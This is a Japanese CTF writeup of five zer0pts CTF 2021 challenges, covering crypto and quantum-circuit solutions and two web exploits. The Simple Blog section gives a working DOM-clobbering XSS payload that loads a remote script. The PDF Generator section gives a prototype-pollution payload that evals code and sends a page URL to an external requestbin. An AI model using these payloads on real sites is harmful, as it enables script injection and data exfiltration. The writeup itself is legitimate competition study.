zer0pts CTF 2021 writeup (OT OR NOT OT, Not Mordell Primes, Tokyo Network, Simple Blog, PDF Generator)

先週末に zer0pts CTF 2021 があり、TSGは7位でした。

いずれも解きごたえのある難問ばかりでめちゃくちゃ楽しかったです。~~web warmup で温まらなかったことを除いて~~完璧なCTFでした。開催していただいてありがとうございます。

hakatashiは以下の問題を解きました (部分的な貢献を含む)。

OT OR NOT OT (Crypto, 116pts)
Not Mordell Primes (Crypto, 209pts)
Tokyo Network (Misc, 340pts)
Simple Blog (Web, 192pts)
PDF Generator (Web, 214pts)

Writeupを書こうかと思ったけどめんどくさいのでチーム内のメモをそのまま公開します。

OT OR NOT OT (Crypto, 116pts)

pはgetStrongPrimeで取得されるけど安全素数ではない (cf. Tokyo Westerns CTF 2020: The Melancholy of Alice) ので位数の小さい元をもちうる。そのような値 (特に $\sqrt{-1}\bmod p$ ) を探して投げるととりうる値の候補が少なくなるので嬉しくなり、解ける。

問題概要

256bitの整数kを当てる
pを1024bitの素数とする (与えられる)
kを下から2bitずつ見て、隣り合うビットに対して以下の処理が行われる
- 以下、すべて $F_p$ 上の演算
- をランダムな整数とする
  - ここで $t$ を得られる
- ユーザーは相異なる2以上の任意の整数 $a,b,c,d$ を与える
- 以下の3つの値を得られる
  - $x=(a^ rc^ s)\oplus b_1$
  - $y=(b^ rc^ s)\oplus b_2$
  - $z=d^ rt^ s$
- $b_1,b_2$ を当てたい

ナン「 $p-1$ が小さい因数 $k$ を持つ場合、 $a^ k\equiv 1\mod p$ なる $a$ を取ると嬉しくなる」
ナン「たとえばもし $x^ 2\equiv p-1\bmod p$ なる $x$ が存在すれば、 $c\equiv p-1,a=x,b=-x$ とすると嬉しい」
ナン「なぜなら、こうすると $a^ rc^ s$ や $b^ rc^ s$ が $\pm1,\pm x$ しか取らないため」
博多市「天才」

ナン「 $\displaystyle{ p\equiv1\bmod4\iff{}^ \exists x.\,x^ 2\equiv-1\bmod p }$ のはず」
博多市「フムー」
ナン「そのような $x$ を取るのが難しそうだなあ」
博多市「sageでできますよ」
ナン「すごい」

博多市「解けました」
ナン「結局 $t,d,z$ はどう使うはずだったんだろう」

ソルバ: https://gist.github.com/hakatashi/4585794687bde86f39e39d43a68bc7c3

zer0pts{H41131uj4h_H41131uj4h}

Not Mordell Primes (Crypto, 209pts)

自明の式変形をしたら解けた。

問題概要

以下のパラメーターの楕円曲線が与えられる。

p = 13046889097521646369087469608188552207167764240347195472002158820809408567610092324592843361428437763328630003678802379234688335664907752858268976392979073
a = 10043619664651911066883029686766120169131919507076163314397915307085965058341170072938120477911396027902856306859830431800181085603701181775623189478719241
b = 12964455266041997431902182249246681423017590093048617091076729201020090112909200442573801636087298080179764338147888667898243288442212586190171993932442177
Gx = 11283606203023552880751516189906896934892241360923251780689387054183187410315259518723242477593131979010442607035913952477781391707487688691661703618439980
Gy = 12748862750577419812619234165922125135009793011470953429653398381275403229335519006908182956425430354120606424111151410237675942385465833703061487938776991

$P = kG$
$Q = (k+1)G$

つまり $Q=P+G$ である。kは与えられない。

ここで $P_x,Q_x$ が素数であることが保証されている。これを $p,q$ としたときのRSAでフラグを暗号化したものが与えられる (given: $N,c$ )。

ナン「 $Q_x=\left(\dfrac{G_y-P_y}{G_x-P_x}\right)^ 2-P_x-G_x$ にゃんかにゃ」

楕円曲線が $y^ 2=x^ 3+ax+b$ なので

$y=\mathrm {sqrt}(x^ 3+ax+b)\bmod p$

ナン「フムー」
ナン「 $Q_x=\left(\dfrac{G_y-\sqrt{P_x^ 3+aP_x+b}}{G_x-P_x}\right)^ 2-P_x-G_x$ および $N=P_xQ_x$ が与えられるため、 $P_x,Q_x$ を求められるか？」
ナン「 $Q_x$ を消去すると」
$N\equiv P_x\left\{\left(\dfrac{G_y-\sqrt{P_x^ 3+aP_x+b}}{G_x-P_x}\right)^ 2-P_x-G_x\right\}\mod p$
整理して
$\left(\dfrac{N}{P_x}+P_x+G_x\right)(G_x-P_x)^ 2\equiv\left(G_y-\sqrt{P_x^ 3+aP_x+b}\right)^ 2$
$\left(\dfrac{N}{P_x}+P_x+G_x\right)(G_x-P_x)^ 2\equiv G_y^ 2-2G_y\sqrt{P_x^ 3+aP_x+b}+P_x^ 3+aP_x+b$
$2G_y\sqrt{P_x^ 3+aP_x+b}\equiv G_y^ 2+P_x^ 3+aP_x+b-\left(\dfrac{N}{P_x}+P_x+G_x\right)(G_x-P_x)^ 2$
$4G_y^ 2P_x^ 2(P_x^ 3+aP_x+b)\equiv\left\{G_y^ 2P_x+P_x^ 4+aP_x^ 2+bP_x-\left(N+P_x^ 2+G_xP_x\right)(G_x-P_x)^ 2\right\}^ 2$
博多市「すごい」
ナン「汚い式だなあ」
博多市「sageで解けますよ」
ナン「すごい」

博多市「解けました」
ナン「すごい」

ソルバ: https://gist.github.com/hakatashi/7d5f4dfe1ddc417a3bbe00ae737aa6ad

~~問題出た瞬間に解いてたら確実に First Blood いけてたと思う。悔しい。~~

zer0pts{7h4nk_y0u_j4ck_7h4nk_y0u_cr0wn}

Tokyo Network (Misc, 340pts)

与えられた回路に量子エラー訂正を適用することでノイズを取り除くことができる。組む回路によっていくつかとりうる情報が考えうるのであとは論理パズル。

問題整理

860bitの一様ランダムなビット列 ra と、やや0に偏った (p≒0.587) ビット列 ba がある。

まず、量子計算を行ってビットごとに1ビットの結果を得ることができる。現状思いついている操作は以下の通り。

baにかかわらずraを $\cos^ 2(\pi/8)=\frac{2+\sqrt{2}}{4}\approx0.8536$ の確率で正しく得る、そうでないときは逆の値を得る
baが0ならばraを確実に得る、1ならば一様ランダムな値を得る
baが1ならばraを確実に得る、0ならば一様ランダムな値を得る

以上をビットごとに切り替えることができる。情報はすべてのビットに関して処理を行ったあと、一括で得られる。

この上で、ユーザーは860bitのビット列bbを与える。bbは以下の条件を満たしている必要がある。

baとbbがともに1であるようなビット (=Nx) の数が126以上
baとbbがともに0であるようなビット (=Nz) の数が255以上

この操作のあと、Nzから128ビットがランダムに選ばれる。これをkとする。

その後、以下の情報が得られる。

ba
baとbbとraがすべて1であるようなビットの位置
Nzのうちkに選ばれなかったビットの位置

最後に、raをkでマスクしたものを鍵として、フラグを暗号化したものが与えられる。

ゲートの構成法

(Written by @azaika)

量子エラー訂正については https://en.wikipedia.org/wiki/Quantum_error_correction#Shor_code と https://en.wikipedia.org/wiki/Toffoli_gate#Related_logic_gates を組み合わせれば OK。 CCNOT x,y,z を以下で定める

H z;    CNOT y,z;
TDAG z; CNOT x,z;
T z;    CNOT y,z;
TDAG z; CNOT x,z;
T y; T z;
CNOT x,y; H z;
T x; TDAG y;
CNOT x,y;

これを用いて量子エラー訂正のデコードパートは

CNOT 0,1; CNOT 0,2;
CCNOT 1,2,0;
CNOT 3,4; CNOT 3,5;
CCNOT 4,5,3;
CNOT 6,7; CNOT 6,8;
CCNOT 7,8,6;
H 0; H 3; H 6;
CNOT 0,3; CNOT 0,6;
CCNOT 3,6,0;

と表せる。

その後の ba と ra についての操作は以下の通り。

baにかかわらずraをの確率で正しく得る、そうでないときは逆の値を得る
- エラー訂正後 SDAG 0; H 0; T 0; H 0; S 0; H 0;
baが0ならばraを確実に得る、1ならば一様ランダムな値を得る
- エラー訂正だけで良い
baが1ならばraを確実に得る、0ならば一様ランダムな値を得る
- エラー訂正後 H 0

解法

ナン「0 と 1 を 255 : 126 の割合でランダムに入れた列 bb を使い、全 bit について「baが0ならばraを確実に得る、1ならば一様ランダムな値を得る」とする。
全部の後で ba が 0 なる bit については ra がわかっているので、マスク後に残る bit についてすべて判明している」

zer0pts{Sh0r_c0d3+BB84_QKB=5t1ll_53cur3?}

ソルバ: https://gist.github.com/hakatashi/5e9a64c42493a33425605cfde4deecf3

Simple Blog (Web, 192pts)

DOM Clobbering でcallbackオプションを突っ込むことができる。このままだとtrustedTypesがURL読み込みを検知して停止してしまうが、Firefoxではpolyfillが動いているので同じく DOM Clobbering で事前にtrustedTypesを定義してあげることでpolyfill読み込みを回避できる。あとは20文字制限にかからないようにJSゴルフをするのだが、都合よくjsonp関数が使えるので、三度 DOM Clobbering で定義してあげたURLをわたしてあげると勝ち。

dynamic import 使えるの知らなかった⋯⋯。

最終ペイロード:

http://web.ctf.zer0pts.com:8003/?theme=%22%3E%3Cform%20id%3D%22trustedTypes%22%3E%3Cinput%20name%3D%22defaultPolicy%22%20value%3D%221%22%3E%3C%2Fform%3E%3Ca%20id%3D%22title%22%20href%3D%22https%3A%2F%2Fhakatashi.com%2Fxss.js%3Ffuga%22%3E%3C%2Fa%3E%3Ca%20id%3D%22callback%22%20href%3D%22a%3Ajsonp(title)%3B%22%20b%3D%22

zer0pts{1_w4nt_t0_e4t_d0m_d0m_h4mburger_s0med4y}

PDF Generator (Web, 214pts)

@kcz146にbundle.jsを渡すと prototype pollution を見つけてくれるので悪用する。Vue.jsが明らかに怪しいので Vue 2 であることを確認したあと適当にハックしてevalする。ページが読み込まれたあとPDFが読み込まれると削除されてしまうので間に合わないように見えるが、embedされたページはDOMContentLoadedイベントのあと削除されるのでその前にembedを消せば間に合う。あとはがんばる。

あと一時間あればたぶん Not PDF Generator も解けたので悔しい。

最終ペイロード:

https://pdfgen.ctf.zer0pts.com:8443/text?a[b[__proto__[model[value=this.constructor.constructor(%27u%3Ddocument.getElementsByTagName(%22embed%22)%5B0%5D.src%3Bdocument.body.removeChild(document.getElementsByTagName(%22embed%22)%5B0%5D)%3Blocation.href%3D%22http%3A%2F%2Frequestbin.net%2Fr%2F4hg9abge%2F%22%2Bu%27)()&text=hoge

zer0pts{4fraid_of_unintended)_D0nt_w4nn4_l3ak_1nf0_about_s0lut1on}

博多電光

blog.hkt.sh

zer0pts CTF 2021 writeup (OT OR NOT OT, Not Mordell Primes, Tokyo Network, Simple Blog, PDF Generator)

OT OR NOT OT (Crypto, 116pts)

問題概要

Not Mordell Primes (Crypto, 209pts)

問題概要

Tokyo Network (Misc, 340pts)

問題整理

ゲートの構成法

解法

Simple Blog (Web, 192pts)

PDF Generator (Web, 214pts)